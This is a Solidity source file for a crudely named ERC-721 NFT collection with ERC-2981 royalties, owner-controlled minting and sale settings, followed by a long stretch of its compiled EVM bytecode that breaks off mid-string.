_removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /// /// @dev Interface for the NFT Royalty Standard /// interface IERC2981 is IERC165 { /// ERC165 bytes to add to interface array - set in parent contract /// implementing this standard /// /// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a /// bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; /// _registerInterface(_INTERFACE_ID_ERC2981); /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _salePrice - the sale price of the NFT asset specified by _tokenId /// @return receiver - address of who should be sent the royalty payment /// @return royaltyAmount - the royalty payment amount for _salePrice function royaltyInfo( uint256 _tokenId, uint256 _salePrice ) external view returns ( address receiver, uint256 royaltyAmount ); } /// /// @dev Interface for the NFT Royalty Standard /// abstract contract ERC2981 is IERC2981 { constructor() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || interfaceId == type(IERC165).interfaceId; } } contract Penis is ERC2981, ERC721Enumerable, Ownable { using Strings for uint256; using Math for uint; string public _provenanceHash = ""; uint256 public _tokenMaxSimultaneousPurchaseAmount = 20; uint256 public _maxTokenSupply = 10000; // Can be extended at any time uint256 public _tokenPriceWei = 0.05 ether; uint256 public _royaltyPercentage = 5; bool public _saleIsActive = false; string public _tokenBaseURI = "https://nfpenis.com/token/"; string public _extension = ".json"; constructor() ERC721("Non-Fungible Penis", "NFP") { } /* * Set provenance once it's calculated */ function setProvenanceHash(string memory provenanceHash) public onlyOwner { _provenanceHash = provenanceHash; } function setTokenMaxSimultaneousPurchaseAmount(uint256 tokenMaxSimultaneousPurchaseAmount) public onlyOwner { _tokenMaxSimultaneousPurchaseAmount = tokenMaxSimultaneousPurchaseAmount; } function setBaseURI(string memory newTokenBaseURI, string memory extension) public onlyOwner { _tokenBaseURI = newTokenBaseURI; _extension = extension; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return bytes(_tokenBaseURI).length > 0 ? string(abi.encodePacked(_tokenBaseURI, tokenId.toString(), _extension)) : ""; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC2981) returns (bool) { return interfaceId == type(IERC2981).interfaceId || interfaceId == type(IERC165).interfaceId || interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || interfaceId == type(IERC721Metadata).interfaceId; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } /** * Allow for room more tokens */ function increaseSupply(uint256 amount) public onlyOwner { _maxTokenSupply = _maxTokenSupply + amount; } function changeTokenPrice(uint256 newTokenPriceWei) public onlyOwner { require(newTokenPriceWei >= 0); _tokenPriceWei = newTokenPriceWei; } function changeRoyaltyPercentage(uint256 newRoyaltyPercentage) public onlyOwner { require(newRoyaltyPercentage >= 0); _royaltyPercentage = newRoyaltyPercentage; } function listOwnedTokenIds(address owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function flipSaleState() public onlyOwner { _saleIsActive = !_saleIsActive; } function mint(uint numberOfTokens) public payable { require(numberOfTokens > 0, "Cannot mint 0 or a negative amount of tokens"); require(numberOfTokens <= _tokenMaxSimultaneousPurchaseAmount, "Cannot mint so many tokens at the same time"); require(_saleIsActive, "Sale must be active to mint tokens"); require((totalSupply() + numberOfTokens) < _maxTokenSupply, "Purchase would exceed max supply of tokens"); if (msg.sender != owner()) { require((_tokenPriceWei * numberOfTokens) <= msg.value, "Ether value sent is not correct"); } // Mint for(uint i = 0; i < numberOfTokens; i++) { uint256 tokenId = totalSupply(); _safeMint(msg.sender, tokenId); } } function royaltyInfo(uint256 tokenId, uint256 salePrice) external view override(IERC2981) returns (address Receiver, uint256 RoyaltyAmount) { Receiver = owner(); RoyaltyAmount = ((salePrice * _royaltyPercentage) / 100).max(0); } }
0x6080604052600436106102255760003560e01c80635d893ba011610123578063a0712d68116100ab578063c87b56dd1161006f578063c87b56dd146107e7578063e985e9c514610824578063f2fde38b14610861578063f64c8af41461088a578063fbc94f24146108b557610225565b8063a0712d6814610713578063a22cb4651461072f578063b88d4fde14610758578063b921e16314610781578063bdc267e8146107aa57610225565b8063715018a6116100f2578063715018a6146106525780637cc91820146106695780638da5cb5b1461069457806395d89b41146106bf5780639ea0eb44146106ea57610225565b80635d893ba0146105845780636352211e146105af5780636790a9de146105ec57806370a082311461061557610225565b80632f745c59116101b157806342842e0e1161017557806342842e0e1461049f5780634bd0d89c146104c85780634f6ccce7146104f1578063534308cc1461052e5780635b7792a91461055957610225565b80632f745c59146103de57806334918dfd1461041b5780633ae1dd9d146104325780633ca4fb761461045d5780633ccfd60b1461048857610225565b806310969523116101f857806310969523146102f857806318160ddd1461032157806322af68751461034c57806323b872dd146103775780632a55205a146103a057610225565b806301ffc9a71461022a57806306fdde0314610267578063081812fc14610292578063095ea7b3146102cf575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c91906131f4565b6108de565b60405161025e9190613958565b60405180910390f35b34801561027357600080fd5b5061027c610ae8565b6040516102899190613973565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b4919061330f565b610b7a565b6040516102c691906138a6565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906131b4565b610bff565b005b34801561030457600080fd5b5061031f600480360381019061031a919061324e565b610d17565b005b34801561032d57600080fd5b50610336610dad565b6040516103439190613c75565b60405180910390f35b34801561035857600080fd5b50610361610dba565b60405161036e9190613c75565b60405180910390f35b34801561038357600080fd5b5061039e6004803603810190610399919061309e565b610dc0565b005b3480156103ac57600080fd5b506103c760048036038101906103c2919061333c565b610e20565b6040516103d592919061390d565b60405180910390f35b3480156103ea57600080fd5b50610405600480360381019061040091906131b4565b610e63565b6040516104129190613c75565b60405180910390f35b34801561042757600080fd5b50610430610f08565b005b34801561043e57600080fd5b50610447610fb0565b6040516104549190613973565b60405180910390f35b34801561046957600080fd5b5061047261103e565b60405161047f9190613973565b60405180910390f35b34801561049457600080fd5b5061049d6110cc565b005b3480156104ab57600080fd5b506104c660048036038101906104c1919061309e565b611197565b005b3480156104d457600080fd5b506104ef60048036038101906104ea919061330f565b6111b7565b005b3480156104fd57600080fd5b506105186004803603810190610513919061330f565b61124b565b6040516105259190613c75565b60405180910390f35b34801561053a57600080fd5b506105436112bc565b6040516105509190613973565b60405180910390f35b34801561056557600080fd5b5061056e61134a565b60405161057b9190613c75565b60405180910390f35b34801561059057600080fd5b50610599611350565b6040516105a69190613958565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d1919061330f565b611363565b6040516105e391906138a6565b60405180910390f35b3480156105f857600080fd5b50610613600480360381019061060e9190613297565b611415565b005b34801561062157600080fd5b5061063c60048036038101906106379190613031565b6114c3565b6040516106499190613c75565b60405180910390f35b34801561065e57600080fd5b5061066761157b565b005b34801561067557600080fd5b5061067e611603565b60405161068b9190613c75565b60405180910390f35b3480156106a057600080fd5b506106a9611609565b6040516106b691906138a6565b60405180910390f35b3480156106cb57600080fd5b506106d4611633565b6040516106e19190613973565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c919061330f565b6116c5565b005b61072d6004803603810190610728919061330f565b61174b565b005b34801561073b57600080fd5b5061075660048036038101906107519190613174565b61193c565b005b34801561076457600080fd5b5061077f600480360381019061077a91906130f1565b611abd565b005b34801561078d57600080fd5b506107a860048036038101906107a3919061330f565b611b1f565b005b3480156107b657600080fd5b506107d160048036038101906107cc9190613031565b611bb2565b6040516107de9190613936565b60405180910390f35b3480156107f357600080fd5b5061080e6004803603810190610809919061330f565b611c60565b60405161081b9190613973565b60405180910390f35b34801561083057600080fd5b5061084b6004803603810190610846919061305e565b611d0b565b6040516108589190613958565b60405180910390f35b34801561086d57600080fd5b5061088860048036038101906108839190613031565b611d9f565b005b34801561089657600080fd5b5061089f611e97565b6040516108ac9190613c75565b60405180910390f35b3480156108c157600080fd5b506108dc60048036038101906108d7919061330f565b611e9d565b005b60007f2a55205a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806109a957507f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a1157507f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a7957507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ae157507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b606060008054610af790613f73565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2390613f73565b8015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b5050505050905090565b6000610b8582611f31565b610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90613b55565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c0a82611363565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613bf5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c9a611f9d565b73ffffffffffffffffffffffffffffffffffffffff161480610cc95750610cc881610cc3611f9d565b611d0b565b5b610d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cff90613a95565b60405180910390fd5b610d128383611fa5565b505050565b610d1f611f9d565b73ffffffffffffffffffffffffffffffffffffffff16610d3d611609565b73ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90613b75565b60405180910390fd5b80600b9080519060200190610da9929190612e45565b5050565b6000600880549050905090565b600e5481565b610dd1610dcb611f9d565b8261205e565b610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0790613c15565b60405180910390fd5b610e1b83838361213c565b505050565b600080610e2b611609565b9150610e5a60006064600f5486610e429190613e2f565b610e4c9190613dfe565b61239890919063ffffffff16565b90509250929050565b6000610e6e836114c3565b8210610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea690613995565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610f10611f9d565b73ffffffffffffffffffffffffffffffffffffffff16610f2e611609565b73ffffffffffffffffffffffffffffffffffffffff1614610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b90613b75565b60405180910390fd5b601060009054906101000a900460ff1615601060006101000a81548160ff021916908315150217905550565b60128054610fbd90613f73565b80601f0160208091040260200160405190810160405280929190818152602001828054610fe990613f73565b80156110365780601f1061100b57610100808354040283529160200191611036565b820191906000526020600020905b81548152906001019060200180831161101957829003601f168201915b505050505081565b6011805461104b90613f73565b80601f016020809104026020016040519081016040528092919081815260200182805461107790613f73565b80156110c45780601f10611099576101008083540402835291602001916110c4565b820191906000526020600020905b8154815290600101906020018083116110a757829003601f168201915b505050505081565b6110d4611f9d565b73ffffffffffffffffffffffffffffffffffffffff166110f2611609565b73ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90613b75565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611193573d6000803e3d6000fd5b5050565b6111b283838360405180602001604052806000815250611abd565b505050565b6111bf611f9d565b73ffffffffffffffffffffffffffffffffffffffff166111dd611609565b73ffffffffffffffffffffffffffffffffffffffff1614611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90613b75565b60405180910390fd5b600081101561124157600080fd5b80600f8190555050565b6000611255610dad565b8210611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90613c55565b60405180910390fd5b600882815481106112aa576112a961410c565b5b90600052602060002001549050919050565b600b80546112c990613f73565b80601f01602080910402602001604051908101604052809291908181526020018280546112f590613f73565b80156113425780601f1061131757610100808354040283529160200191611342565b820191906000526020600020905b81548152906001019060200180831161132557829003601f168201915b505050505081565b600c5481565b601060009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140390613ad5565b60405180910390fd5b80915050919050565b61141d611f9d565b73ffffffffffffffffffffffffffffffffffffffff1661143b611609565b73ffffffffffffffffffffffffffffffffffffffff1614611491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148890613b75565b60405180910390fd5b81601190805190602001906114a7929190612e45565b5080601290805190602001906114be929190612e45565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b90613ab5565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611583611f9d565b73ffffffffffffffffffffffffffffffffffffffff166115a1611609565b73ffffffffffffffffffffffffffffffffffffffff16146115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee90613b75565b60405180910390fd5b61160160006123b2565b565b600d5481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461164290613f73565b80601f016020809104026020016040519081016040528092919081815260200182805461166e90613f73565b80156116bb5780601f10611690576101008083540402835291602001916116bb565b820191906000526020600020905b81548152906001019060200180831161169e57829003601f168201915b5050505050905090565b6116cd611f9d565b73ffffffffffffffffffffffffffffffffffffffff166116eb611609565b73ffffffffffffffffffffffffffffffffffffffff1614611741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173890613b75565b60405180910390fd5b80600c8190555050565b6000811161178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590613c35565b60405180910390fd5b600c548111156117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca90613b35565b60405180910390fd5b601060009054906101000a900460ff16611822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181990613bd5565b60405180910390fd5b600d548161182e610dad565b6118389190613da8565b10611878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186f90613af5565b60405180910390fd5b611880611609565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611903573481600e546118c19190613e2f565b1115611902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f990613a55565b60405180910390fd5b5b60005b81811015611938576000611918610dad565b90506119243382612478565b50808061193090613fd6565b915050611906565b5050565b611944611f9d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a990613a35565b60405180910390fd5b80600560006119bf611f9d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611a6c611f9d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611ab19190613958565b60405180910390a35050565b611ace611ac8611f9d565b8361205e565b611b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0490613c15565b60405180910390fd5b611b1984848484612496565b50505050565b611b27611f9d565b73ffffffffffffffffffffffffffffffffffffffff16611b45611609565b73ffffffffffffffffffffffffffffffffffffffff1614611b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9290613b75565b60405180910390fd5b80600d54611ba99190613da8565b600d8190555050565b60606000611bbf836114c3565b905060008167ffffffffffffffff811115611bdd57611bdc61413b565b5b604051908082528060200260200182016040528015611c0b5781602001602082028036833780820191505090505b50905060005b82811015611c5557611c238582610e63565b828281518110611c3657611c3561410c565b5b6020026020010181815250508080611c4d90613fd6565b915050611c11565b508092505050919050565b6060611c6b82611f31565b611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca190613bb5565b60405180910390fd5b600060118054611cb990613f73565b905011611cd55760405180602001604052806000815250611d04565b6011611ce0836124f2565b6012604051602001611cf493929190613875565b6040516020818303038152906040525b9050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611da7611f9d565b73ffffffffffffffffffffffffffffffffffffffff16611dc5611609565b73ffffffffffffffffffffffffffffffffffffffff1614611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1290613b75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e82906139d5565b60405180910390fd5b611e94816123b2565b50565b600f5481565b611ea5611f9d565b73ffffffffffffffffffffffffffffffffffffffff16611ec3611609565b73ffffffffffffffffffffffffffffffffffffffff1614611f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1090613b75565b60405180910390fd5b6000811015611f2757600080fd5b80600e8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661201883611363565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061206982611f31565b6120a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209f90613a75565b60405180910390fd5b60006120b383611363565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061212257508373ffffffffffffffffffffffffffffffffffffffff1661210a84610b7a565b73ffffffffffffffffffffffffffffffffffffffff16145b8061213357506121328185611d0b565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661215c82611363565b73ffffffffffffffffffffffffffffffffffffffff16146121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990613b95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221990613a15565b60405180910390fd5b61222d838383612653565b612238600082611fa5565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122889190613e89565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122df9190613da8565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000818310156123a857816123aa565b825b905092915050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612492828260405180602001604052806000815250612767565b5050565b6124a184848461213c565b6124ad848484846127c2565b6124ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e3906139b5565b60405180910390fd5b50505050565b6060600082141561253a576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061264e565b600082905060005b6000821461256c57808061255590613fd6565b915050600a826125659190613dfe565b9150612542565b60008167ffffffffffffffff8111156125885761258761413b565b5b6040519080825280601f01601f1916602001820160405280156125ba5781602001600182028036833780820191505090505b5090505b60008514612647576001826125d39190613e89565b9150600a856125e2919061401f565b60306125ee9190613da8565b60f81b8183815181106126045761260361410c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856126409190613dfe565b94506125be565b8093505050505b919050565b61265e838383612959565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126a15761269c8161295e565b6126e0565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126df576126de83826129a7565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127235761271e81612b14565b612762565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612761576127608282612be5565b5b5b505050565b6127718383612c64565b61277e60008484846127c2565b6127bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b4906139b5565b60405180910390fd5b505050565b60006127e38473ffffffffffffffffffffffffffffffffffffffff16612e32565b1561294c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261280c611f9d565b8786866040518563ffffffff1660e01b815260040161282e94939291906138c1565b602060405180830381600087803b15801561284857600080fd5b505af192505050801561287957506040513d601f19601f820116820180604052508101906128769190613221565b60015b6128fc573d80600081146128a9576040519150601f19603f3d011682016040523d82523d6000602084013e6128ae565b606091505b506000815114156128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb906139b5565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612951565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016129b4846114c3565b6129be9190613e89565b9050600060076000848152602001908152602001600020549050818114612aa3576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612b289190613e89565b9050600060096000848152602001908152602001600020549050600060088381548110612b5857612b5761410c565b5b906000526020600020015490508060088381548110612b7a57612b7961410c565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612bc957612bc86140dd565b5b6001900381819060005260206000200160009055905550505050565b6000612bf0836114c3565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccb90613b15565b60405180910390fd5b612cdd81611f31565b15612d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d14906139f5565b60405180910390fd5b612d2960008383612653565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d799190613da8565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054612e5190613f73565b90600052602060002090601f016020900481019282612e735760008555612eba565b82601f10612e8c57805160ff1916838001178555612eba565b82800160010185558215612eba579182015b82811115612eb9578251825591602001919060010190612e9e565b5b509050612ec79190612ecb565b5090565b5b80821115612ee4576000816000905550600101612ecc565b5090565b6000612efb612ef684613cb5565b613c90565b905082815260208101848484011115612f1757612f1661416f565b5b612f22848285613f31565b509392505050565b6000612f3d612f3884613ce6565b613c90565b905082815260208101848484011115612f5957612f5861416f565b5b612f64848285613f31565b509392505050565b600081359050612f7b816147ea565b92915050565b600081359050612f9081614801565b92915050565b600081359050612fa581614818565b92915050565b600081519050612fba81614818565b92915050565b600082601f830112612fd557612fd461416a565b5b8135612fe5848260208601612ee8565b91505092915050565b600082601f8301126130035761300261416a565b5b8135613013848260208601612f2a565b91505092915050565b60008135905061302b8161482f565b92915050565b60006020828403121561304757613046614179565b5b600061305584828501612f6c565b91505092915050565b6000806040838503121561307557613074614179565b5b600061308385828601612f6c565b925050602061309485828601612f6c565b9150509250929050565b6000806000606084860312156130b7576130b6614179565b5b60006130c586828701612f6c565b93505060206130d686828701612f6c565b92505060406130e78682870161301c565b9150509250925092565b6000806000806080858703121561310b5761310a614179565b5b600061311987828801612f6c565b945050602061312a87828801612f6c565b935050604061313b8782880161301c565b925050606085013567ffffffffffffffff81111561315c5761315b614174565b5b61316887828801612fc0565b91505092959194509250565b6000806040838503121561318b5761318a614179565b5b600061319985828601612f6c565b92505060206131aa85828601612f81565b9150509250929050565b600080604083850312156131cb576131ca614179565b5b60006131d985828601612f6c565b92505060206131ea8582860161301c565b9150509250929050565b60006020828403121561320a57613209614179565b5b600061321884828501612f96565b91505092915050565b60006020828403121561323757613236614179565b5b600061324584828501612fab565b91505092915050565b60006020828403121561326457613263614179565b5b600082013567ffffffffffffffff81111561328257613281614174565b5b61328e84828501612fee565b91505092915050565b600080604083850312156132ae576132ad614179565b5b600083013567ffffffffffffffff8111156132cc576132cb614174565b5b6132d885828601612fee565b925050602083013567ffffffffffffffff8111156132f9576132f8614174565b5b61330585828601612fee565b9150509250929050565b60006020828403121561332557613324614179565b5b60006133338482850161301c565b91505092915050565b6000806040838503121561335357613352614179565b5b60006133618582860161301c565b92505060206133728582860161301c565b9150509250929050565b60006133888383613857565b60208301905092915050565b61339d81613ebd565b82525050565b60006133ae82613d3c565b6133b88185613d6a565b93506133c383613d17565b8060005b838110156133f45781516133db888261337c565b97506133e683613d5d565b9250506001810190506133c7565b5085935050505092915050565b61340a81613ecf565b82525050565b600061341b82613d47565b6134258185613d7b565b9350613435818560208601613f40565b61343e8161417e565b840191505092915050565b600061345482613d52565b61345e8185613d8c565b935061346e818560208601613f40565b6134778161417e565b840191505092915050565b600061348d82613d52565b6134978185613d9d565b93506134a7818560208601613f40565b80840191505092915050565b600081546134c081613f73565b6134ca8186613d9d565b945060018216600081146134e557600181146134f657613529565b60ff19831686528186019350613529565b6134ff85613d27565b60005b8381101561352157815481890152600182019150602081019050613502565b838801955050505b50505092915050565b600061353f602b83613d8c565